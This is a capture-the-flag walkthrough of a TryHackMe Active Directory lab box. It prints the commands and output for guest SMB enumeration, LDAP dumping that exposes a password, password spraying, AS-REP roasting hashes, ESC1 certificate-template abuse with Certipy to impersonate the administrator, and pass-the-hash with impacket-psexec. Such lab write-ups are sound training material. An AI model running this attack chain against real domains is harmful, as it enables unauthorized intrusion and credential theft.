> ## Documentation Index > Fetch the complete documentation index at: https://www.nthsec.com/llms.txt > Use this file to discover all available pages before exploring further. # TryHackMe Ledger: Walkthrough > Ledger is a hard-rated Active Directory machine on TryHackMe that showcases a classic certificate template misconfiguration attack path. The box demonstrates enumeration through LDAP, password spraying, and ultimately privilege escalation via ESC1 certificate abuse to achieve Domain Admin access. Let’s dive right in! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=db4c9c807a2c6b3423bb3520ec90baa4) ## **Enumeration / Info Gathering** Initial nmap scanning revealed a Windows domain controller with the usual suspects: DNS (53), Kerberos (88), RPC (135), SMB (445), LDAP (389/636), and RDP (3389). The domain identified as `thm.local` with hostname` labyrinth.thm.local`. ```shellscript theme={null} Starting Nmap 7.95 ( ) at 2025-08-29 20:54 EDT Nmap scan report for 10.201.64.95 Host is up (0.14s latency). Not shown: 986 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-30 00:55:07Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name) |_ssl-date: 2025-08-30T00:56:11+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=labyrinth.thm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local | Not valid before: 2025-08-30T00:43:06 |_Not valid after: 2026-08-30T00:43:06 443/tcp open ssl/http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=thm-LABYRINTH-CA | Not valid before: 2023-05-12T07:26:00 |_Not valid after: 2028-05-12T07:35:59 |_ssl-date: 2025-08-30T00:56:11+00:00; 0s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=labyrinth.thm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local | Not valid before: 2025-08-30T00:43:06 |_Not valid after: 2026-08-30T00:43:06 |_ssl-date: 2025-08-30T00:56:11+00:00; 0s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name) |_ssl-date: 2025-08-30T00:56:11+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=labyrinth.thm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local | Not valid before: 2025-08-30T00:43:06 |_Not valid after: 2026-08-30T00:43:06 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name) |_ssl-date: 2025-08-30T00:56:11+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=labyrinth.thm.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:labyrinth.thm.local | Not valid before: 2025-08-30T00:43:06 |_Not valid after: 2026-08-30T00:43:06 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: THM | NetBIOS_Domain_Name: THM | NetBIOS_Computer_Name: LABYRINTH | DNS_Domain_Name: thm.local | DNS_Computer_Name: labyrinth.thm.local | Product_Version: 10.0.17763 |_ System_Time: 2025-08-30T00:56:02+00:00 | ssl-cert: Subject: commonName=labyrinth.thm.local | Not valid before: 2025-08-29T00:51:54 |_Not valid after: 2026-02-28T00:51:54 |_ssl-date: 2025-08-30T00:56:11+00:00; 0s from scanner time. No exact OS matches for host (If you know what OS is running on it, see ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=8/29%OT=53%CT=1%CU=44479%PV=Y%DS=5%DC=T%G=Y%TM=68B24C2 OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=103%TI=I%CI=I%II=I%SS=S%TS= OS:U)SEQ(SP=102%GCD=1%ISR=110%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=105%GCD=1%ISR OS:=106%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=108%GCD=1%ISR=105%TI=I%CI=I%II=I%SS OS:=S%TS=U)SEQ(SP=108%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M508NW8 OS:NNS%O2=M508NW8NNS%O3=M508NW8%O4=M508NW8NNS%O5=M508NW8NNS%O6=M508NNS)WIN( OS:W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF OS:%O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y OS:%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%R OS:D=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0% OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7( OS:R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0 OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) ``` Nothing crazy here, but it is good to note that we have 2 http ports open (80/443) and RDP. Surprisingly no WinRM so we will have to get a shell through SMB or just RDP in. We shall see! ## **SMB** First thing I’m going to look at is null authentication and guest auth before looking at the web servers We do get authentication as a guest, but the shares don’t really give anything important. We can come back to this as a last resort to enumerate, but out of all the default shares this one probably isn’t going to be anything good. ```shellscript theme={null} ┌──(kali㉿kali)-[~/THM/Ledger] └─$ nxc smb 10.201.64.95 -u 'Guest' -p '' --shares SMB 10.201.64.95 445 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:False) SMB 10.201.64.95 445 LABYRINTH [+] thm.local\\Guest: SMB 10.201.64.95 445 LABYRINTH [*] Enumerated shares SMB 10.201.64.95 445 LABYRINTH Share Permissions Remark SMB 10.201.64.95 445 LABYRINTH ----- ----------- ------ SMB 10.201.64.95 445 LABYRINTH ADMIN$ Remote Admin SMB 10.201.64.95 445 LABYRINTH C$ Default share SMB 10.201.64.95 445 LABYRINTH IPC$ READ Remote IPC SMB 10.201.64.95 445 LABYRINTH NETLOGON Logon server share SMB 10.201.64.95 445 LABYRINTH SYSVOL Logon server share ``` ## **HTTP** ```shellscript theme={null} ┌──(kali㉿kali)-[~/THM/Ledger] └─$ gobuster dir -u -w /usr/share/wordlists/dirb/big.txt -t 40 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: [+] Method: GET [+] Threads: 40 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /aspnet_client (Status: 301) [Size: 157] [--> ] Progress: 20469 / 20470 (100.00%) =============================================================== Finished =============================================================== ``` We find only one directory, that being aspnet\_client ![](https://miro.medium.com/v2/resize:fit:700/1*Ke1ymzeYtLpVQJVXXiVIUQ.png) Though on both 80 and 443 they are the same 403 result Doing some more enumeration (both subdir and dir) we find the following: ```shellscript theme={null} └─$ ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u ``` ```shellscript theme={null} /'___\\ /'___\\ /'___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : :: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________system_web [Status: 301, Size: 168, Words: 9, Lines: 2, Duration: 841ms] ``` ![](https://miro.medium.com/v2/resize:fit:700/1*9cNpCt9Vk00jjK1agNPxIQ.png) Unfortunately, it’s looking like the same story here (unsurprisingly) I also found [this article](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html), which is a list of aspnet\_client information and fuzzing. ![](https://miro.medium.com/v2/resize:fit:700/1*cjW-lGBY2Jm6iDkU2hYiBg.png) Regardless, we get a hit! This is a version for asp net and it appears to be very vulnerable! ![](https://miro.medium.com/v2/resize:fit:700/1*x4ftq3mZtuMlg9CyBR3aTQ.png) Another thing I forgot to check is the SSL Certificate on the web server. Though unfortunately it doesn’t look like anything too crazy. Knowing there is a CA is interesting, and maybe we can callback to it later. ![](https://miro.medium.com/v2/resize:fit:700/1*mlomXeHrrspUs946IsXNjw.png) ## **General AD Attacks** Since we have Guest authentication, that is kind of all we need to start launching some attacks. For example, we can find a HUGE list of users by rid-bruting ![](https://miro.medium.com/v2/resize:fit:700/1*t-UXRu-gX8KogsGPNTHCSA.png) We can create user list with the following command: ```text theme={null} grep "SidTypeUser" users.txt | cut -d '\' -f2 | cut -d ' ' -f1 > newusers.txt ``` The list of users doesn’t help us a *ton* at this point. We could do some password guessing attempts (Season + Year + Special Char) but I’m going to hold off at this point. I’m going to see if I can fire off other attacks. Hmm, asreproasting and kerberoasting don’t work, time to move on to other attacks. ![](https://miro.medium.com/v2/resize:fit:700/1*Y0zdh0xwekKuxQv36O0lGw.png) ## **LDAPSearch** ```text theme={null} ldapsearch -x -H ldap://10.10.161.74 -b "dc=thm,dc=local" > ldapsearch.txt ``` ![](https://miro.medium.com/v2/resize:fit:700/1*6IebI08kJRawUsHhIyi9cw.png) We get a bunch of information back including Descriptions of user objects ```text theme={null} cat ldapsearch.txt | grep description ``` ![](https://miro.medium.com/v2/resize:fit:582/1*P1nuFKDuBqPVjzcKaooTXw.png) ## **Exploitation** FINALLY we have a password. We can spray this across the network and we find two valid logins! Woohoo! ![](https://miro.medium.com/v2/resize:fit:700/1*2HGV3rzEDaZIr-rY-0BS_w.png) ### **SMB Enumeration part two** Confirming that the credentials we found work on SMB: ![](https://miro.medium.com/v2/resize:fit:700/1*6JxzE4Wnjj26cU8j-tnIZQ.png) ### **Bloodhound** Pulling down bloodhound data: ```text theme={null} nxc ldap labyrinth.thm.local -u IVY_WILLIS -p 'CHANGEME2023!' --bloodhound --dns-server 10.201.64.95 -c all ``` ### **ASReproasting** We get a bunch of hashes but none of them crack unfortunately ```shellscript theme={null} ┌──(kali㉿kali)-[~/THM/Ledger] └─$ nxc ldap labyrinth.thm.local -u IVY_WILLIS -p 'CHANGEME2023!' --asreproast hash.txt LDAP 10.201.64.95 389 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local) (signing:None) (channel binding:Never) LDAP 10.201.64.95 389 LABYRINTH [+] thm.local\\IVY_WILLIS:CHANGEME2023! LDAP 10.201.64.95 389 LABYRINTH [*] Total of records returned 5 LDAP 10.201.64.95 389 LABYRINTH $krb5asrep$23$SHELLEY_BEARD@THM.LOCAL:dbe55c96ae6f419841953d85e0ac9718$05fbc0afd216434cad7fb1aae550553e2e9ce76112d9c9302eb3071b7b6ec45a9c96af2dba9e421418c0d6aa503432e62fa587ede2c7cd27b14b2229bd9d2124a94d9b5c016c7e3c7711338ac8ed2732bd4b32ada6bd7471655d4e6f1dae0c163bd6a6cd4b056e0267bf0d51bfd1ff48c9b5c8cb71c461a050bc599de3a6485cca4605efa3dedc0e9e159a49e7d686a733c5aaaadca822a25ab5584d2cc727929a79fae1c59af5ecd53fb28fab64c1b6e77d7230d411691eb0c05876a466dc22faadef2d18dc163d57ad970f22a995834fbf167bbb36b32ff973f9d9482419ca52147fc3d7f6 LDAP 10.201.64.95 389 LABYRINTH $krb5asrep$23$ISIAH_WALKER@THM.LOCAL:b50b2ab3286a2a63e6fee9bfa4786286$c7a8f443958290ab8b972bdec29272e2bedf577aa5e4be08a00413b78d8bebb59809e43b38f4ba2a41218e5f8a55681273803a0692d1409a8793edf74a71f627ad73a1afe3cf320395513c9b89e14c8f5877dbbaa07553365e72f370a6d5fbb08394503b989da5042465c55a7d3bc818d3c4c62f07e7d1dc754500d1588bbbbe1ab72b41de6c67c2644674322ed3ce0c70d4af267e87777864d51a1df8beafb777d385b048cb760e0e1a935945d53cdb73359b97946c9c422fc6854ee2dc57121305c3a4b73307d269fd1329eee3c04e9124b2ef11ca0e43537829e217151a36cfb4bb1ded5d LDAP 10.201.64.95 389 LABYRINTH $krb5asrep$23$QUEEN_GARNER@THM.LOCAL:a8317a94a6b69d371df649ec77222e9c$beca48cd2bdd1c9213844e0864f639cb5dff4b82c48ba21bc5ebc5070896adc3f0bf1e31ad877fddf52e7ca52d777f487c0c740d9598a4132a0e029a1fcd8306cac2fa7da694bea0022c47b701b25c0a2a5e9d394dd078502a226608264fa2bcf7deefe57719c160564588488aa61783171bcadb033242a6faf10d90dd0a7af887f5cc0f37aba5401ba4a5dcec75e3b93825bad84e61f007402739613b2beeb255a8f411e23e08429eb2aa55d8478bf7f33056101269999cdcd1d45c563ebf9dc5ea4fbbb28183fcbd01c5542f7097474faf3b25ab25c2c8497982a4ea954b6467331f21c4e5 LDAP 10.201.64.95 389 LABYRINTH $krb5asrep$23$PHYLLIS_MCCOY@THM.LOCAL:cdece38a898ae1b023e5eddd64940fbe$0351eddd652e5ac518322bcb1c19520cee3c13d650c3257926faf2f76cef4f56a87eed3670df04c6547e2b5210c88ee382bda4742c4da565412321f7e04c7d946be169bc6a0d864c2e15edb24f04ae79f742c4e51b4ed776ad9fd51317bab600a8d58fd4e686c97268762d45a163b57116fd32baea409264957fd25611493144487bdc7ad610313b62a67e9efb2a90a845944a4611682bee1e1bae8d27692d9a71dbe1f1fbfbaa47e9944f821ae4df081260de900de5551c33adaa7aa1040b8fc40e776a6914994a768e3dd6cd026e1a3022035431ce62b165cfe21fae78ec05f6147cbcd193 LDAP 10.201.64.95 389 LABYRINTH $krb5asrep$23$MAXINE_FREEMAN@THM.LOCAL:71ae654db9cdce169a28b18f0158b776$1801dfa8d43e93efcf05de47c68d26d7fece9bc63e024bdeadf2baea71c3aac717ec7148faff0af3af4ab8e2aa1a152cc34d1f8eb9acd0bd7151af111943ff01f130d89ac5814f0e4e505dbb03168d9f4417bfdcb182d9616eee53f7675763b6a4ea0cc9ccce64a34d404d25d519e5bacaf71a2d5eb573fea62748e08b51955c085822d3d7dc304eda600b92d56aab7542ff976a7e225fcb374ea78e784440a3e224f6076fc31cede23002902131851e295840936fa1e20e236eede72894f6ad31c8bcf1e904c171c4feb30a0e5463664d5e6b3297e4f4cbbf89208b4a9565d6d5eed3801d4d ``` ## **SUSANNA\_MCKNIGHT PWNED** Checking RDP on our cred users we find we actually have RDP access w/ susanna! ![](https://miro.medium.com/v2/resize:fit:700/1*uNpXnfPs3-UuP9b5JdLHNQ.png) This is confirmed by bloodhound (notice she is a part of the Remote Desktop Users group): ![](https://miro.medium.com/v2/resize:fit:596/1*tckUH8S7548x7Z-DVmHolw.png) ## **Lateral Movement** We can RDP in as Susanna and get user flag. ![](https://miro.medium.com/v2/resize:fit:700/1*e8F3eYQ-VLxmaBeDGlUb3g.png) ## **PrivEsc** For PrivEsc, we can actually callback to the HTTPS CA Authority! How could we forget! We can use Certipy to locate any vulnerable CA templates that may be present on the DC. ```text theme={null} certipy-ad find -u SUSANNA_MCKNIGHT -p 'CHANGEME2023!' -dc-ip 10.201.64.95 -target thm.local -vulnerable -enabled ``` ![](https://miro.medium.com/v2/resize:fit:700/1*Zqdrkpi0iZcgwbPwcrGD8w.png) It’s vulnerable to ESC1! — [https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc1](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc1) ```shellscript theme={null} certipy-ad req -u 'SUSANNA_MCKNIGHT@thm.local' -p 'CHANGEME2023!' \\ -ca 'thm-LABYRINTH-CA' \\ -template 'ServerAuth' \\ -upn 'administrator@thm.local' \\ -dc-ip 10.201.64.95 \\ -target labyrinth.thm.local #CERTIPY CAN BE REALLY FINICKY. PROVIDE BOTH TARGET FQDN AND DC-IP ``` ![](https://miro.medium.com/v2/resize:fit:700/1*2izVm5Lgls4dEuAN0UlhIA.png) We get a hash for the Carey\_fields DA. However, this one doesn’t work for some reason. Instead, we have to get the hash for bradley, which is the user we saw before to FINALLY pwn this machine. ![](https://miro.medium.com/v2/resize:fit:700/1*sVAgyDbnwLhSrO0lkBeiEg.png) ![](https://miro.medium.com/v2/resize:fit:700/1*bWWzB9Q0bYScldYzOloe4A.png) I had a hard time RPDing in with just the hash, but smb/psexec worked just fine: ```text theme={null} impacket-psexec thm.local/bradley_ortiz@labyrinth.thm.local -hashes aad3b435b51404eeaad3b435b51404ee:16ec31963c93240962b7e60fd97b495d ``` ![](https://miro.medium.com/v2/resize:fit:627/1*jO0mIoagukGJ-YKbpSGAkw.png) And that’s it, thanks for sticking around! This box was a fun one and I learned a lot of new stuff, especially with ldapsearch! I hope you enjoyed, and of course Happy Hacking! This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.